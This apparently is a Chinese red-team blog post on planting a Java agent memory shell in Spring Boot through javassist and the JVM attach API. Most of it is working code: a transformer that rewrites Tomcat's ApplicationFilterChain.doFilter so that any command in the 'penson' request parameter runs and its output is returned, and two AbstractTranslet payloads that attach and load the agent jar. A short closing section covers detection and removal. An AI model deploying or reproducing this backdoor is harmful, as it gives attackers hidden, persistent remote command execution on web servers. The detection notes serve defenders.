04
Agent 实现springboot内存马注入
认识javassist
<dependency>
<groupId>javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.12.0.GA</version>
</dependency>
利用javassist制作内存马
import java.lang.instrument.Instrumentation;
public class Agent {
public static void agentmain(String agentArgs, Instrumentation inst) throws Exception{
inst.addTransformer(new DefineTransformer(),true);
// 获取所有已加载的类
String ClassName="org.apache.catalina.core.ApplicationFilterChain";
Class[] classes = inst.getAllLoadedClasses();
for (Class clas:classes){
if (clas.getName().equals(ClassName)){
try{
// 对类进行重新定义
inst.retransformClasses(new Class[]{clas});
} catch (Exception e){
e.printStackTrace();
}
}
}
}
}
import javassist.*;
import java.lang.instrument.ClassFileTransformer;
import java.security.ProtectionDomain;
public class DefineTransformer implements ClassFileTransformer {
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) {
String ClassName = "org.apache.catalina.core.ApplicationFilterChain";
className = className.replace("/",".");
if (className.equals(ClassName)){
System.out.println("Find the Inject Class: " + ClassName);
ClassPool pool = ClassPool.getDefault();
try {
CtClass c = pool.getCtClass(className);
CtMethod m = c.getDeclaredMethod("doFilter");
m.insertBefore("javax.servlet.http.HttpServletRequest req = request;n" +
"javax.servlet.http.HttpServletResponse res = response;n" +
"java.lang.String cmd = request.getParameter("penson");n" +
"if (cmd != null){n" +
" try {n" +
" java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();n" +
" java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(in));n" +
" String line;n" +
" StringBuilder sb = new StringBuilder("");n" +
" while ((line=reader.readLine()) != null){n" +
" sb.append(line).append("\n");n" +
" }n" +
" response.getOutputStream().print(sb.toString());n" +
" response.getOutputStream().flush();n" +
" response.getOutputStream().close();n" +
" } catch (Exception e){n" +
" e.printStackTrace();n" +
" }n" +
"}");
byte[] bytes = c.toBytecode();
c.detach();
return bytes;
} catch (Exception e){
e.printStackTrace();
}
}
return new byte[0];
}
}
Manifest-Version: 1.0
Can-Redefine-Classes: true
Can-Retransform-Classes: true
Agent-Class: Agent
package com.exp.shell.agent;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class agentTest extends AbstractTranslet {
//注入springboot内存马
static {
try{
java.lang.String libname="penson.jar";
java.lang.String path= System.getProperty("os.name").toLowerCase().contains("window")?"c:/windows/temp/"+libname:"/tmp/"+libname;
System.out.println( System.getProperty("os.name").toLowerCase());
java.io.File toolsPath = new java.io.File(System.getProperty("java.home").replace("jre","lib") + java.io.File.separator + "tools.jar");
java.net.URL url = toolsPath.toURI().toURL();
java.net.URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[]{url});
Class/*<?>*/ MyVirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine");
Class/*<?>*/ MyVirtualMachineDescriptor = classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor");
java.lang.reflect.Method listMethod = MyVirtualMachine.getDeclaredMethod("list",null);
java.util.List/*<Object>*/ list = (java.util.List/*<Object>*/) listMethod.invoke(MyVirtualMachine,null);
//获取所有的jvm
System.out.println("Running JVM list ...");
for(int i=0;i<list.size();i++){
Object o = list.get(i);
java.lang.reflect.Method displayName = MyVirtualMachineDescriptor.getDeclaredMethod("displayName",null);
java.lang.String name = (java.lang.String) displayName.invoke(o,null);
// 找到我们想要插入的jvm
if (name.contains("com.test.penson")){
// 获取对应进程的 pid 号
java.lang.reflect.Method getId = MyVirtualMachineDescriptor.getDeclaredMethod("id",null);
java.lang.String id = (java.lang.String) getId.invoke(o,null);
System.out.println("id >>> " + id);
java.lang.reflect.Method attach = MyVirtualMachine.getDeclaredMethod("attach",new Class[]{java.lang.String.class});
java.lang.Object vm = attach.invoke(o,new Object[]{id});
java.lang.reflect.Method loadAgent = MyVirtualMachine.getDeclaredMethod("loadAgent",new Class[]{java.lang.String.class});
loadAgent.invoke(vm,new Object[]{path});
java.lang.reflect.Method detach = MyVirtualMachine.getDeclaredMethod("detach",null);
detach.invoke(vm,null);
System.out.println("penson.jar Inject Success !!");
break;
}
}
} catch (Exception e){
e.printStackTrace();
}
}
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
引用冰蝎java-agent内存马实现无包名注入
package com.exp.shell.agent;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.lang.management.ManagementFactory;
public class agentTest extends AbstractTranslet {
//注入springboot内存马
static {
try{
java.lang.String libname="penson.jar";
java.lang.String path= System.getProperty("os.name").toLowerCase().contains("window")?"c:/windows/temp/"+libname:"/tmp/"+libname;
System.out.println( System.getProperty("os.name").toLowerCase());
java.io.File toolsPath = new java.io.File(System.getProperty("java.home").replace("jre","lib") + java.io.File.separator + "tools.jar");
java.net.URL url = toolsPath.toURI().toURL();
java.net.URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[]{url});
Class/*<?>*/ MyVirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine");
Class/*<?>*/ MyVirtualMachineDescriptor = classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor");
java.lang.reflect.Method listMethod = MyVirtualMachine.getDeclaredMethod("list",null);
//获取当前运行的进程
String name = ManagementFactory.getRuntimeMXBean().getName();
String pid = name.split("@")[0];
System.out.println(name+" "+pid);
java.lang.reflect.Method attach = MyVirtualMachine.getDeclaredMethod("attach",new Class[]{java.lang.String.class});
java.lang.Object vm = attach.invoke(MyVirtualMachine,new Object[]{pid});
java.lang.reflect.Method loadAgent = MyVirtualMachine.getDeclaredMethod("loadAgent",new Class[]{java.lang.String.class});
loadAgent.invoke(vm,new Object[]{path});
java.lang.reflect.Method detach = MyVirtualMachine.getDeclaredMethod("detach",null);
detach.invoke(vm,null);
System.out.println("penson.jar Inject Success !!");
} catch (Exception e){
e.printStackTrace();
}
}
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
*左右滑动查看更多 这样就不用知道对应的包名就可以直接注入内存马了。 05
防范与检测建议
可以使用
sa-jdi.jar //这是一个jvm监控工具集合
jps -l
列出jvm进程:
和之前注入agent内存马一样,只要有实现了ClassFileTransformer接口的类,则可能存在agent内存马。
如何清除?
将doFilter方法还原即可:
我们可以看到ApplicationFilterChain的doFilter方法:
try {
CtClass c = pool.getCtClass(className);
CtMethod m = c.getDeclaredMethod("doFilter");
m.setBody("{internalDoFilter($1,$2);}");
byte[] bytes = c.toBytecode();
c.detach();
return bytes;
} catch (Exception e) {
e.printStackTrace();
}
*左右滑动查看更多
参考及推荐阅读:
http://wjlshare.com/archives/1582
https://xz.aliyun.com/t/9450
https://www.yuque.com/tianxiadamutou/zcfd4v/tdvszq
https://cangqingzhe.github.io/2021/10/13/JavaAgent%E5%86%85%E5%AD%98%E9%A9%AC%E7%A0%94%E7%A9%B6/
*左右滑动查看更多
— 往期回顾 —
原文始发于微信公众号(安恒信息安全服务):九维团队-红队(突破)| 关于文件落地型java-agent内存马探讨(二)